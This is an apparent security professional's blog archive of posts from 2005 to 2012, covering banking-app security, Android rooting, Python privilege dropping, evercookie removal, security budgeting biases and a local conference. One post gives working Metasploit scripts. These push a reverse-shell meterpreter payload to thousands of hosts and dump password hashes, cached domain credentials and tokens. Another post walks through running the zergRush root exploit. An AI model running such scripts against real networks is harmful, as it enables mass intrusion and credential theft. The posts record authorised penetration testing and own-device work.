Dominic White

Happy Birthday Dear Blog

nospam@example.com (Dominic White) — Sun, 05 Feb 2012 13:23:00 +0200

Today marks the 8th anniversary of my blog, and my official entry into infosec.

It's been a wild ride, with the move to SensePost the best decision yet. After the blog template got laughed at on the twitters, I decided to give it a new theme. Thanks muchly to confluence from atrum for the CSS n00b help.

This year wasn't quite as eventful as 2010 or "The Year I Got Slashdot'ted", but I think 2011 was the year of my highest quality content, with some long, hard-thought entries. So far the blog has 908 entries, with 872 public and 36 hidden because I got too scared. By comparison, I have vomited 8288 tweets into the ether since 2007.

Thanks to those that read it, and the feedback you give me. Here's to year 9.

Internet Banking, 22seven & Security Fallacies

nospam@example.com (Dominic White) — Thu, 02 Feb 2012 14:26:01 +0200

There's been a lot of hoopla recently about internet banking security and the introduction of 22seven. I'd like to add to the discussion, by attempting to extract the key arguments and critically analyzing them.

1) 22seven is secure

Figuring out if something is secure is really hard. The current way the industry measures it is by getting a reputable company to perform an in-depth and broad security assessment. 22seven claim to do this in their description. However, none of the results are published, so as a member of the public, we have little to go on. Even then, security testing is a bit of a market for lemons; that is, unless you are an expert, you don't know if the testers did a good job or not. For me to take their claim seriously I'd like to see a letter of attestation from a reputable security testing firm at the least. Until then, we can't know.

On the flip side, I use tons of online services all day that don't even get around to claiming they test their stuff, let alone go as far as I described above, and so do you. But, these services don't want access to my personal financial transactions, limited power of attorney, and leave all the risk of compromise on me.

2) 22seven is safe because they use Yodlee and they are safe

This is the claim put forward by 22seven themselves as part of their security overview, and elaborated on by Simon Dingle. The problem with this is two fold. First, there are many possible ways in which 22seven could be modified in the event of a compromise to provide access to your credentials, even though Yodlee is secure. Paul Cartmel reminds us of the old security truism; that you're only secure as your weakest link. A simple modification of their invocation of Yodlee would be enough to get the job done. Even if you aren't targeting credentials, a disclosure of your financial transactions alone could be a serious breach. So, you need 22seven to be secure AND Yodlee to be secure.

Even then, the use of a third party, with whom I have no contractual relationship, in another country's jurisdiction (now the US gov can subpoena my financial details, yay) makes me uncomfortable. What recourse do I have to Yodlee if they are the source of a breach?

Once again, you do this all the time, so put it into perspective a little :)

3) Yodlee is safe, because they've never been breached in 13 years

If you refer back to point (1) you'll note that I didn't use "no past breaches" as a criteria for "secure". This is for two reasons again. The first is that detecting breaches is really hard. You need to have significant monitoring, and the capability to understand what the tools are producing to know if you are breached. Even then, the possibility of the attacker being smarter than your monitoring exists (and to bypass your average IDS, you don't have to be that smart). Second, having never been compromised could be as much an indication that nobody has ever tried as it could that the site resisted attacks. Even if it was rock solid till now, people make mistakes, and introduce new code with potential vulnerabilities all the time. The past is no guarantee of future success.

To be fair to Yodlee, at no point on their site do they make this claim. This was put forward by Simon in his article.

4) Yodlee's access to your bank account is a good idea

I'm paraphrasing heavily here, but it captures the general argument between 22seven (and supporters) and the likes of Absa. The claim is that Absa is being a stick in the mud and resiting the new wave of customer service possibilities. Commercials aside, I think Absa has a point here. Of all the possibilities for how 22seven could get your info, giving you banking creds to Yodlee has to be the worst. In fact, this is a solved problem. How do you think you accountant has been getting transactional information from Internet Banking into Quick Books or Pascal all these years? They export the stuff in OFX (open financial exchange) or QFX formats and import it into their tool. Better yet, PFM's that support this have been around for a while. I've been using buxfer.com for over a year with this method, and it works well, without me handing over full control of my bank accounts to a random third party (but you'll not I do fall prey to some of the problems I listed above re jurisdiction & the possibility of buxfer getting hacked). There are a ton of other options too, a client-side browser plugin that stores your creds and imports it into the site would be a use of automation that doesn't require credential disclosure. Here, let me draw a picture:

Banks Response

There seem to have been two responses from two banks, Absa and FNB. Absa's response was to block Yodlee's servers. I think it may be a bit drastic, but I certainly have sympathy for their stated objection to handing your creds over to a third party. FNB, on the other hand, ~~has responded by~~ will be getting rid of their One Time Passwords (via GSM as a 2nd-factor-auth) on login, and relying on transactional ("confirmation") OTPs only. They contacted me to clarify that this was planned before 22seven and was not a response to it. I think this is a bad idea (outside of 22seven), and have asked (as a customer) that FNB retain login SMS notifications at the least (they will publish a log of logins within Internet Banking, but by the time you've found an illegal one, it's possibly too late). ~~Hopefully they'll respond.~~ FNB went on to clarify that login notifications will still be sent by e-mail, and that the audit trail published in the app will include both failed and successful logins.

This has happened before though, with Twitter and Facebook. Remember when you had to give sites your twitter and facebook credentials, and the problems that caused? They ended up building in OAuth and providing an API that caters for third party applications (and per-application permissions). This may the chance for the banks to start doing the same.

Conclusion

I'm not saying 22seven and Yodlee are ripe for hacking, nor that they are safe. I'm not even saying us not knowing they're safe should preclude their use given what you do with the rest of your online data. Unfortunately, you need to make the decision, but I'm sticking to my OFX export in the meantime and find the risk of disclosure some transactional data, should buxfer get hacked, acceptable compared with the benefits it provides me (for e.g. I moved bank after buxfer made it clear just how much I was paying). I'm also not joining in any name calling, I disagree with some of Simon and Paul's points and agree with others, but this stands as my opinion in the end.

Update: Modified the "Bank's Response" section based on feedback from FNB. Thanks for going to the trouble of contacting me :)

How to root a Motorola Atrix 4G on 2.3.4

nospam@example.com (Dominic White) — Mon, 16 Jan 2012 14:56:59 +0200

Thanks to Simon Dingle, I'm going to be getting into the world of Android. One of the things that shocked me over the first few days, was the large number of applications that came bundled with the phone that could not be uninstalled, and had persistent background processes. In the "direct consequences" camp, the Motorola News and Gallery application simultaneously chewed my bandwidth and flattened by battery, in the more worrying "shady unknown consequences" camp, an app call "Arabware [1]" offered to "localize" my services, and also could not be uninstalled or stopped. I decided it was time I got root.

The official guides for how to root a Motorola Atrix 4G on the latest update (2.3.4 at the time of writing) are laughably naive. In 5 minutes I could easily find 50 sites all parroting the same process involving complex and dangerous flashing of firmware. The first bit of mis-information that needs clarification, is that despite the Motorola 2.3.3 developer preview having an unlocked bootloader, the official 2.3.4 Gingerbread update from Motorola DOES NOT HAVE AN UNLOCKED BOOTLOADER. No problem they say, just flash this firmware in this ZIP file, supposedly extracted from a Chinese leaked version of 2.3.3. What?! You want me to flash fimware passed around as a zip file from random locations? Not a chance. To make it worse, after a quick squiz at the .sbf file, I found this comment embedded in it:

"The2dCour, known troll in your phone."

Awesome. Not a chance I'm touching that.
Here's a much safer, simpler way to root your device, which involves no warranty-voiding, security-spine-chilling hoop jumping.

All I wanted was root. I'm familiar enough with Linux to make my way after that. If you're "non-technical" then move along :) The steps are:

Put your phone into USB debugging mode.
Download and install the Android Debugging tool from the Android SDK.

You'll need to run the SDK executable (android) and install the "Platform Tools" to get ADB these days.

Plug your phone into your computer.
Run "adb devices". You should see the serial number of your phone appear.
Download the binary zergRush exploit from it's developers. The source code is also available for you to examine (or compile).
Upload it to your device with "adb push zergRush /data/local/tmp".
Connect to your device with "adb shell"
In the shell, switch to the temp dir and run zergRush "cd /data/local/tmp/; ./zergRush"
You should see the following (the image below has been partially redacted):

If you get the "Killing ADB and restarting as root" line, then it's worked. Exit your adb shell and reconnect. You'll see a "#" as your prompt indicating you're root.

And that's it. On the one hand, I'm happy there's a "safer" easy way to get root on my own device, on the other hand, I'm uncomfortable with the fact that one of Motorola's flagship phones can be 0nwed so easily, with no update forthcoming.

[1] Yes, I know Arabware is a localisation service for the Arabic alphabet. I'm not saying it's shady, just that I see no reason why it should be a mandatory app in South Africa.

Metasploit Massploitation

nospam@example.com (Dominic White) — Sun, 08 Jan 2012 20:42:59 +0200

In light of past and recent posts from mubix (one, two) and jcran, I thought I'd post the hack I used to connect to then run Metasploit post-exploitation modules across several thousand machines. I still need to go through them all and merge them, but I thought I'd throw my hat in the ring. Thank to mubix for his help on the job with some of it.

On a pentest with a massive internal network, we managed to get access to 22k machines as local admin using a local account (verified with ncrack). Obvious domain priv esc routes were shut down, so it was time to extend our control and information. I wanted hashes, cached domain creds and available tokens from each of these. So I put together the following metasploit massploitation script. The main difference between this and the other solutions posted, is that my box fell over with several thousand meterpreter sessions open, so I wanted a way to automate connecting & pulling the info without needed all the sessions to be open at once.

Essentially, there are three parts:

The massploitation.rc, this is the script run in the console (capturing the output is a good idea)
The targets file which has a list of targets, one per line
The extract.rc that is run within each meterpreter session by the massploitation script. You can change this to what you need.

massploit-generic.rc

use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST <Local IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/windows/smb/psexec
set SMBUser <username>
set SMBPass <pass or hash>
set SMBDomain "."
set DisablePayloadHandler true

<ruby>
	hostsfile = "<file containing hosts one per line>"
	File.open(hostsfile).each do |host|
		host.strip!
		print_status("Targetting #{host}")
		self.run_single("set RHOST #{host}")
		self.run_single("exploit -j -z")
		flag = false
		count = 0
		while ( flag == false and count < 5 )
			if ( framework.sessions.length > 0 )
				self.run_single("sessions -s extract.rc")
				flag = true
				#self.run_single("sessions -K")  #trying to resolve the race condition, this didn't work
			else
				count += 1
			end
			sleep(5)
		end
	end
</ruby>

extract.rc

print_status(client.sys.config.sysinfo["Computer"])
print_status(client.sys.config.sysinfo["OS"])
client.console.run_single("load incognito")
client.console.run_single("list_tokens -u")
client.console.run_single("run post/windows/gather/cachedump")
client.console.run_single("hashdump")
client.console.run_single("exit")  #Rather kill the session here

The stuff isn’t perfect, as there is a race condition where sometimes it tries to execute the meterpreter script before the meterpreter session is ready. Other than the delay, I’ll need to spend some time to understand metasploit’s threading.

Timesheets - You're doing it wrong

nospam@example.com (Dominic White) — Sun, 20 Nov 2011 20:00:48 +0200

When managing teams of "information workers", I believe the use of time sheets is indicative of a management failure. Here's why:

If you have to rely on a timesheet to know what your staff are doing - you're doing it wrong
If you can't trust your staff to work hard - you have problems a timesheet won't fix
If you believe you have too many staff to manage - get more managers
If you think anyone completes them accurately - you drank the kool aid
If you think the time it takes to actually complete them accurately is worth it - you hate your staff
If you manage your business from these inaccurate stats - you're making bad decisions
If your senior people have PAs complete their timesheets for them - you're a hypocrite
If you spent millions on a new timesheet system, but didn't make it any easier for the staff using the system - you just suck

Commandline SMS v2

nospam@example.com (Dominic White) — Tue, 16 Aug 2005 01:43:50 +0200

Update: I moved the code to my github repository, get it there.

(See other updates at the bottom)

Many South African Vodacom cell phone users are stuck with a horrid piece of website known as Vodacom4Me. It uses frames and Javascript to ensure some of the slowest load times you can imagine and has a session cookie that expires rather too quickly, leaving you watching page loads most of your day. In addition it is often buggy. The reason many people bear with this awful service is that it lets you send 20 free sms (text) messages a day.

A long time ago this service used to be free and open to anyone, back then we had a cool perl script written by our resident perl guru, Jonathan Hitchcock. However this service soon changed to a login based service and I released a modification of his script. The web team at vodacom then decided to bludgeon the page a bit more and my last attempt has sat idle and not-working.

However, after some considerable effort, I present the new and improved vodasms.

This version retains many of the cool features of the last two, such as a phonebook and logging, but adds a configuration file, better packaging and the ability to create your own time saving vodacom4me forms.

If you would like to get hold of this, download the package from here, extract it, and read the (fairly detailed) README file. Windows users can use it too, with ActivePerl, I haven't tested it though. From extraction to running, it shouldn't take more than 5 minutes to configure.

This essentially lets you send an sms from the command line by typing lines like:

vodasms 0761234567 hello
vodasms Dominic "hello"

What I mean by 'your own time saving vodacom4me forms' are simple HTML recreations of the same forms generated by Vodacom's JavaScript. Check the vodaform/ directory in the package.

If you open the send page in another window/tab, then login via the login page and close it once it starts redirecting you to the horrors of vodacom4me. Next switch to your send page and fill in the number and message and click send. Away it works. I essentially used the WWW::Mechanize modules to do the same thing. It isn't the most elegant of solutions, but after trying to make my perl bot fake entire pages written in Javascript (seriously, no HTML, all JavaScript) I lost it and went for the easy solution.

On the up side, it does provide a neat decoupled intermediary, where you can modify the forms to handle changes they make to vodacom4me, without too much difficulty.

UPDATE: Two fixes were just added. The phonebook search was iterating through the entire phonebook instead of stopping on the first found entry. Also 076 numbers are now supported. I updated the readme to intruct people to send me an sms when they get it working. I like getting sms'es.

UPDATE 21 April 2006: The benefits of the form decoupling in action: Vodacom changed their login form to use SSL, this required a simple change of the HTML instead of the perl script. Also I have a new cell phone number, the example phone book has been updated so that you can all sms me! The package is up at the same place.

UPDATE 1 March 2011: The tools has been updated to support the new Vodacom portal.

Am I Hacked?

nospam@example.com (Dominic White) — Sun, 07 Aug 2005 04:16:53 +0200

Update: This long stopped working, I just updated it (Nov 2011), and moved it to github, grab it here.

DShield has a nice webpage where you can check whether an IP address appears in the DShield database as an attacker, a good sign that your machine has been compromised. There have been some extensions of this service, such as Johannes Ullrich's "amIhacked?".

I decided this was quite a nice service, so I hacked up a perl script which will do the check for me. I then made a quick cron script which would only mail me if my machine ever appears as an attacker, thus my daily runs aren't cluttered. This is not a foolproof method. It is possible for a machine to get cracked and not appear in the DShield database, but if it is there then there is a fairly good chance something is wrong.

The script is simple, no arguments and it checks your machines IP, or pass an IP to see if it is in the database. It is available for download here. Example output:

$ hackcheck.pl
146.231.115.12 is Safe
$ hackcheck.pl 0.0.0.0
0.0.0.0 is Hacked : It appears 157,699 times.

The cron script is very simple. Just drop it into /etc/cron.daily or the like.

#!/bin/sh
test -f /usr/bin/hackcheck.pl || exit 0

MAILTO=root

#Put the IP address of the machine you want checked here
IP=0.0.0.0

[ -z "$MAILTO" ] && exit 1

hackcheck.pl $IP > /dev/null
if [ "$?" -eq "1" ]; then
        hackcheck.pl $IP| \
        mail -e -s "DShield Hack Warning \
        on $(hostname -f) [$(date +%D)]" $MAILTO
fi

DShield relies on the submissions of people from around the world. Find out how you can contribute by submitting your logs here.

Dropping Privileges in Python (pattern)

nospam@example.com (Dominic White) — Mon, 14 Nov 2011 16:08:00 +0200

Recently, I had a simple python program that created a listening socket, and was uncomfortable running it as root (required to access a port below 1000). I had a quick look around, and found a good blog entry on doing exactly this. However, when running this on OSX, which uses negative UID and GID, I ran into a problem. It turns out that the negative ID is an offset from UINT32_MAX, i.e. 2^32+(-ve UID). The problem is, Python 2.7.1 (Lion's default) os.setgid() was returning an OverFlowError (but not in 2.7.2). I made a mod to the code to handle that case, and figured this pattern may be useful to others wanting to drop privs in a python app.

import os, pwd, grp

def safe_setgid(running_gid):
	try:
		os.setgid(running_gid)
	except OSError, e:
		print('Could not set effective group id: %s' % e)

def safe_setuid(running_uid):
	try:
		os.setuid(running_uid)
	except OSError, e:
		print('Could not set effective group id: %s' % e)

# Taken from http://antonym.org/2005/12/dropping-privileges-in-python.html
def drop_privileges(uid_name='nobody', gid_name='nogroup'):
	starting_uid = os.getuid()
	starting_gid = os.getgid()
	starting_uid_name = pwd.getpwuid(starting_uid)[0]

	if os.getuid() != 0:
		# We're not root so don't drop, you may want to change this
		print("drop_privileges: already running as '%s'"%starting_uid_name)
		return

	# If we started as root, drop privs and become the specified user/group
	if starting_uid == 0:
		# Get the uid/gid from the name
		running_uid = pwd.getpwnam(uid_name)[2]
		running_gid = grp.getgrnam(gid_name)[2]

		# Try setting the new uid/gid
		try:
			safe_setgid(running_gid)
		except OverflowError, e:
			if (running_gid > 4294967290):
				running_gid = -4294967296 + running_gid
				safe_setgid(running_gid)

		try:
			safe_setuid(running_uid)
		except OverflowError, e:
			if (running_uid > 4294967290):
				running_uid = -4294967296 + running_uid
				safe_setuid(running_gid)

		# Ensure a very conservative umask
		new_umask = 077
		old_umask = os.umask(new_umask)
		print('drop_privileges: Old umask: %s, new umask: %s' % (oct(old_umask), oct(new_umask)))

	final_uid = os.getuid()
	final_gid = os.getgid()
	print('drop_privileges: running as %s/%s' % (pwd.getpwuid(final_uid)[0],grp.getgrgid(final_gid)[0]))

Mobile Privacy-Enhancing Proxies

nospam@example.com (Dominic White) — Fri, 11 Nov 2011 16:06:42 +0200

Modern web-browsers support all sorts of add-ons and plugins. From a privacy perspective, this means you can block adverts and trackers, use tools like GoogleSharing and other request re-directors. However, mobile devices typically don't have the same extensibility. While searching for a way to implement this, I came up with using proxy.pac as a way to do some more advanced network jiggery pokery, without requiring platform specifics (i.e. should work on iOS, Android or even Firefox & Chrome), or the need to jailbreak.

Unfortunately, 1984.za.net is down, and since then I've done a bit more work on this. I presented this briefly in my ITWeb presentation last year (slides 27-30), and figure it was about time to make this properly public. I've put it up on my github at mobile-proxy (have I mentioned I love github).

This is still pretty rough, but it proves the methodology and can be extended.

Two interesting things to come out of it are:

iOS Mobile Proxy Configuration

You can edit the proxy used when your phone is on a mobile network (i.e. not wifi) by editing the file (once jailbroken): /Library/Preferences/SystemConfiguration/preferences.plist and adding the ProxyAutoConfigURLString key as below:

<dict>
	<key>HTTPEnable</key>
		<integer>0</integer>
	<key>HTTPProxyType</key>
		<integer>2</integer>
	<key>HTTPSEnable</key>
		<integer>0</integer>
	<key>ProxyAutoConfigEnable</key>
		<integer>1</integer>
	<key>ProxyAutoConfigURLString</key>
		<string>https://<host>/proxy.php</string>
</dict>

It was pointed out on twitter that the iPhone Configuration Utility should allow this to be done without the need to jailbreak. I'll test it and update things if it works.

BlackHole Proxy

The second interesting thing, is that to block access to a website just redirecting to a non-existent server won't work as WebKit based browsers in particular will try again without using the proxy. Thus, a blackhole proxy was needed. Gert at Sensepost wrote a quick 'n fast twisted server for those purposes, and I extended it to drop privileges to reduce attack surface. It's included on github.

Killing the Evercookie

nospam@example.com (Dominic White) — Wed, 13 Oct 2010 06:56:00 +0200

(Hi Slashdot & The Register readers. Make sure to check the 2nd part on killing iPhone Evercookie's too)

Samy Kamar recently released his tool, evercookie. This uses multiple persistent data stores to set unique identifiers that can be used to identify your browser to a website. While my default Firefox browsing setup is safe against it, I noticed that the "disposable" Safari instance I used was not. I sometimes use a clean Safari instance to test or access things the tinfoil on my Firefox does not let me. After each use I reset everything in it. However, I noticed that evercookie would persist. Here's how to delete it and others using the same mechanisms for Safari on OSX 10.6 (working out the same for other browsers/OS' isn't too difficult):

When the evercookie is created, is shows as existing in the following locations (note: just visiting the site sets up some of the evercookie containers):

userData mechanism: undefined
cookieData mechanism: 362
localData mechanism: 362
globalData mechanism: undefined
sessionData mechanism: 362
historyData mechanism: undefined
pngData mechanism: 362
etagData mechanism: 362
dbData mechanism: 362
lsoData mechanism: 362

If I reset Safari, but don't restart it, the cookie persists in these four locations. The force-cached PNG uses an RGB value as the identifier and is only cleared after a reset and restart:

pngData mechanism: 362
etagData mechanism:
userData mechanism: undefined
cookieData mechanism: undefined
localData mechanism: 362
globalData mechanism: undefined
sessionData mechanism: null
historyData mechanism: undefined
dbData mechanism: 362
lsoData mechanism: 362

However, even a reset and restart leaves us with the two HTML5 localData and SQLite locations, and a flash cookie:

pngData mechanism: undefined
etagData mechanism:
userData mechanism: undefined
cookieData mechanism: undefined
localData mechanism: 362
globalData mechanism: undefined
sessionData mechanism: null
historyData mechanism: undefined
dbData mechanism: 362
lsoData mechanism: 362

To this end, I wrote a small script (which Bernd turned into a GUI app for OSX) which will remove these and other cookies:

cat evercookie-kill.sh
#!/bin/bash
echo "Deleting evercookie locations Safari missed (see samy.pl/evercookie)"
rm -r ~/Library/Safari/Databases/*
rm -r ~/Library/Safari/LocalStorage/*
rm -r ~/Library/Preferences/Macromedia/Flash\ Player/\#SharedObjects/*

Running the script while Safari is running will have no effect. For it to work fully, you will need to reset Safari, exit, then run the script. This will clear out all the locations currently implemented in evercookie. While checking these locations, I was surprised to find data from all sorts of other sites, hence the removal of "*", but you can replace it with "samy.pl" if you want to target Samy's evercookie specifically (note, that's not the same as someone else's site implementing the evercookie). While the flash cookies had a large number of sites, there were a couple (cnn, foxnews, twitter and a few others I can't remember) using the HTML5 locations.

Squinting at Security Drivers & Perspective-based Biases

nospam@example.com (Dominic White) — Tue, 01 Nov 2011 19:17:28 +0200

Originally published on SensePost's blog.

While doing some thinking on threat modelling I started examining what the usual drivers of security spend and controls are in an organisation. I've spent some time on multiple fronts, security management (been audited, had CIOs push for priorities), security auditing (followed workpapers and audit plans), pentesting (broke in however we could) and security consulting (tried to help people fix stuff) and even dabbled with trying to sell some security hardware. This has given me some insight (or at least an opinion) into how people have tried to justify security budgets, changes, and findings or how I tried to. This is a write up of what I believe these to be (caveat: this is my opinion). This is certainly not universalisable, i.e. it's possible to find unbiased highly experienced people, but they will still have to fight the tendencies their position puts on them. What I'd want you to take away from this is that we need to move away from using these drivers in isolation, and towards more holistic risk management techniques, of which I feel threat modelling is one (although this entry isn't about threat modelling).

Auditors

The tick box monkeys themselves, they provide a useful function, and are so universally legislated and embedded in best practise, that everyone has a few decades of experience being on the giving or receiving end of a financial audit. The priorities audit reports seem to drive are:

Vulnerabilities in financial systems. The whole audit hierarchy was created around financial controls, and so sticks close to financial systems when venturing into IT's space. Detailed and complex collusion possibilities will be discussed when approving payments, but the fact that you can reset anyone's password at the helpdesk is sometimes missed, and more advanced attacks like token hijacking are often ignored.
Audit house priorities. Audit houses get driven just like anyone else. While I wasn't around for Enron, the reverberations could still be felt years later when I worked at one. What's more, audit houses are increasingly finding revenue coming from consulting gigs and need to keep their smart people happy. This leads to external audit selling "add-ons" like identity management audits (sometimes, they're even incentivised to).
Auditor skills. The auditor you get could be an amazing business process auditor but useless when it comes to infosec, but next year it could be the other way around. It's equally possibly with internal audit. Thus, the strengths of the auditor will determine where you get nailed the hardest.
The Rotation plan. This year system X, next year system Y. It doesn't mean system X has gotten better, just that they moved on. If you spend your year responding to the audit on system Y and ignore X, you'll miss vital stuff.
Known systems. External and internal auditors don't know IT's business in detail. There could be all sorts of critical systems (or pivot points) that are ignored because they weren't in the "flow of financial information" spread sheet.

Vendors Security vendors are the love to hate people in the infosec world. Thinking of them invokes pictures of greasy salesmen phoning your CIO to ask if your security chumps have even thought about network admission control (true story). On the other hand if you've ever been a small team trying to secure a large org, you'll know you can't do it without automation and at some point you'll need to purchase some products. Their marketing and sales people get all over the place and end up driving controls; whether it's “management by in-flight magazine”, an idea punted at a sponsored conference, or the result of a sales meeting.

But security vendors prioritisation of controls are driven by:

New Problems. Security products that work eventually get deployed everywhere they're going to be deployed. They continue to bring in income, but the vendor needs a new bright shiny thing they can take to their existing market and sell. Thus, new problems become new scary things that they can use to push product. Think of the Gartner hype curve. Whatever they're selling, be it DLP, NAC, DAM, APT prevention or IPS if your firewall works more like a switch and your passwords are all "P@55w0rd" then you've got other problems to focus on first.
Overinflated problems. Some problems really aren't as big as they're made out to be by vendors, but making them look big is a key part of the sell. Even vendors who don't mean to overinflate end up doing it just because they spend all day thinking of ways to justify (even legitimate) purchases.
Products as solutions. Installing a product designed to help with a problem isn't the same as fixing the problem, and vendors aren't great at seeing that (some are). Take patch management solutions, there are some really awesome, mature products out there, but if you can't work out where your machines are, how many there are or get creds to them, then you've got a long way to go before that product starts solving the problem it's supposed to.

Pentesters

Every year around Black Hat Vegas/Pwn2Own/AddYourConfHere time a flurry of media reports hit the public and some people go into panic mode. I remember The DNS bug, where all that was needed was for people to apply a patch, but which, due to the publicity around it, garnered a significant amount of interest from people who it usually wouldn't, and probably shouldn't have cared so much. But many pentesters trade on this publicity; and some pentesting companies use this instead of a marketing budget. That's not their only, or primary, motivation, and in the end things get fixed, new techniques shared and the world a better place. The cynical view then is that some of the motivations for vulnerability researchers, and what they end up prioritising are:

New Attacks. This is somewhat similar to the vendors optimising for "new problems" but not quite the same. When Errata introduced Hamster at ToorCon ‘07, I heard tales of people swearing at them from the back. I wasn't there, but I imagine some of the calls were because Layer 2 attacks have been around and well known for over a decade now. Many of us ignored FireSheep for the same reason, even if it motivated the biggest moves to SSL yet. But vuln researchers and the scene aren't interested, it needs to be shiny, new and leet . This focus on the new, and the press it drives, has defenders running around trying to fix new problems, when they haven't fixed the old ones.
Complex Attacks. Related to the above, a new attack can't be really basic to do well, it needs to involve considerable skill. When Mark Dowd released his highly complex flash attack, he was rightly given much kudos. An XSS attack on the other hand, was initially ignored by many. However, one lead to a wide class of prevalent vulns, while the other requires you to be, well, Mark Dowd. This mean some of the issues that should be obvious, that underpin core infrastructure, but that aren't sexy, don't get looked at.
Shiny Attacks. Some attacks are just really well presented and sexy. Barnaby Jack had an ATM spitting out cash and flashing "Jackpot", that's cool, and it gets a room packed full of people to hear his talk. Hopefully it lead to an improvement in security of some of the ATMs he targeted, but the vulns he exploited were the kinds of things big banks had mostly resolved already, and how many people in the audience actually worked in ATM security? I'd be interested to see if the con budget from banks increased the year of his talk, even if they didn't, I suspect many a banker went to his talk instead of one that was maybe talking about a more prevalent or relevant class of vulnerabilities their organisation may experience. Something Thinkst says much better here.

Individual Experience

Unfortunately, as human beings, our decisions are coloured by a bunch of things, which cause us to make decisions either influenced or defined by factors other than the reality we are faced with. A couple of those lead us to prioritising different security motives if decision making rests solely with one person:

Past Experience. Human beings develop through learning and consequences. When you were a child and put your hand on a stove hot plate, you got burned and didn't do it again. It's much the same every time you get burned by a security incident, or worse, internal political incident. There's nothing wrong with this, and it's why we value experience; people who've been burned enough times not to let mistakes happen again. However, it does mean time may be spent preventing a past wrong, rather than focusing on the most likely current wrong. For example, one company I worked with insisted on an overly burdensome set of controls to be placed between servers belonging to their security team and the rest of the company network. The reason for this was due to a previous incident years earlier, where one of these servers had been the source of a Slammer outbreak. While that network was never again a source of a virus outbreak, their network still got hit by future outbreaks from normal users, via the VPN, from business partners etc. In this instance, past experience was favoured over a comprehensive approach to the actual problem, not just the symptom.
New Systems. Usually, the time when the most budget is available to work on a system is during its initial deployment. This is equally true of security, and the mantra is for security to be built in at the beginning. Justifying a chunk of security work on the mainframe that's been working fine for the last 10 years on the other hand is much harder, and usually needs to hook into an existing project. The result is that it's easier to get security built into new projects than to force an organisation to make significant “security only” changes to existing systems. The result in those that present the vulnerabilities pentesters know and love get less frequently fixed.
Individual Motives. We're complex beings with all sorts of drivers and motivations, maybe you want to get home early to spend some time with your kids, maybe you want to impress Bob from Payroll. All sorts of things can lead to a decision that isn't necessarily the right security one. More relevantly however, security tends to operate in a fairly segmented matter, while some aspects are “common wisdom”, others seem rarely discussed. For example, the way the CISO of Car Manufacturer A and the CISO of Car Manufacturer B set up their controls and choose their focus could be completely different, but beyond general industry chit-chat, there will be little detailed discussion of how they're securing integration to their dealership network. They rely on consultants, who've seen both sides for that. Even then, one consultant may think that monitoring is the most important control at the moment, while another could think mobile security is it.

So What?

The result of all of this is that different companies and people push vastly different agendas. To figure out a strategic approach to security in your organisation, you need some objective risk based measurement that will help you secure stuff in an order that mirrors the actual risk to your environment. While it's still a black art, I believe that Threat Modelling helps a lot here, a sufficiently comprehensive methodology that takes into account all of your infrastructure (or at least admits the existence of risk contributed by systems outside of a “most critical” list) and includes valid perspectives from above tries to provide an objective version of reality that isn't as vulnerable to the single biases described above.

mutt & iCal (some OSX specific)

nospam@example.com (Dominic White) — Mon, 24 Oct 2011 18:56:47 +0200

I moved back to the world of civilized e-mail, i.e. mutt. It's been wonderful, and I particularly enjoy hacking my mailcap to display things just how I like them (no PDF sploits for me). However, OSX's handling of calendar files is very irritating in that iCal tries to send responses via Mail.app without giving you much of a chance to do anything. I'd rather handle it in mutt and the cli. This is also generally useful for people using mutt who want to handle calendar files.

I found a script mutt-ical, which does most of what I wanted; parse the ics, ask me what I want to do, then mail the organiser with my response. I made some changes to make it support Outlook generated calendar files, not override your mutt "send" settings, and display the calendar details in plaintext before you decide to accept/decline/tentative it.

Download my version here. (~~I'd submit a patch, but the developer has no working contact details~~ I worked out how git pull request work :) )
Copy it into somewhere in your PATH, (or you can specify the PATH in your .mailcap)
Edit your mailcap to have the following line:

text/calendar; <path>mutt-ical.py -i -e "user@domain.tld" %s
For added fun on OSX, you can extend it to the following, to get iCal to open it nicely too (iCal cares not for mime types it seems):
text/calendar; open %s && ~/bin/mutt-ical.py -i -e "dominic@sensepost.com" %s; nametemplate=%s.ics
~~text/calendar; mv %s %s.ics && open %s.ics && <path>mutt-ical.py -i -e "user@domain.tld" %s.ics && rm %s.ics~~ (I found nametemplate fixes this problem)

You can force iCal to stop trying to send mail on your behalf by replacing the file /Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt with your own ActionScript. I went with the following: error number -128 Which tells it that the user cancelled the action.

Open AppleScript Editor, paste the code from above into a new script, then save it.
Move the old script /Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt just in case you want to re-enable the functionality.
Copy your new script into place.

ZaCon III - TBOY

nospam@example.com (Dominic White) — Mon, 10 Oct 2011 09:20:15 +0200

TBOY - The Best One Yet

ZaCon III has come and gone this last weekend. It was a blast, solid content including some exciting first timers and more than doubling the original research output, an extension to include a Fri night, and the first time we ran with volunteers. The fact that the con seems to be getting better each year is important for me.

"It looks a bit eclectic"

Friday night kicked off around 7 at an uber-chilled venue, described by Roelof as "what I always imagined ZaCon should be" which was pretty great. Despite a projector failure, and nowhere to put the backup one, Roelof and Marco both presented some really entertaining talks. It was a nice mix of entertaining (and freaky) OSint followed by some hardcore vuln research. The time on either side to meet and talk to people was fun as a change to the usual brain-bending long day that is ZaCon.

Coffee was Flowing, Hangovers were Showing

Saturday kicked off with some more projector and microphone troubles followed by a power failure to one side of the room, but by the first tea break we had a duct taped alternative projector stand up and running, the lapel mic microphone replaced and power piped in from the surrounds. The talks started with more than 100 people filling the uncomfortable benches, and the three upstream tubes providers taking some strain thanks to the RF-busting styles of our internet volunteers, Peter Stayt & Prince Sihlahla. Our local site (local.zacon.org.za, up for a few days more if you want to get your ratings in) ran smoothly for a change thanks to Ralfe Poisson.

My favourite talks of the day go to Jeremy du Bruyn on practical password cracking and Reino Mostert on NNTP cache enumeration and poisoning. Partly because they were first time speakers, delivering original research output, and partly because they were awesome speakers with awesome talks even without the caveats. The "can I go to jail if" talk from Matt Erasmus and Helaine Leggat with Matt collecting and asking the questions, and Helaine answering was also great, and we're thinking of making it a regular feature if they agree. The only thing I missed there, was a light of hope. I got the feeling that in ZA vuln research has *no legal protection* and your only defense is not to do it. There were several other talks I greatly enjoyed too.

We'll be collecting slides, DiscussIT will be publishing audio, and some time later we'll try get the videos out.

ZaCon IV

We've got pages of things to improve on for next year, and hopefully we'll be able to retain the TBOY label. In the meantime, it's never too early to start pondering a submission for next year, start talking it over at the next 0xC0FFEE session, subscribe to the community@zacon.org.za mailing list or join the #zacon chan on irc.atrum.org.

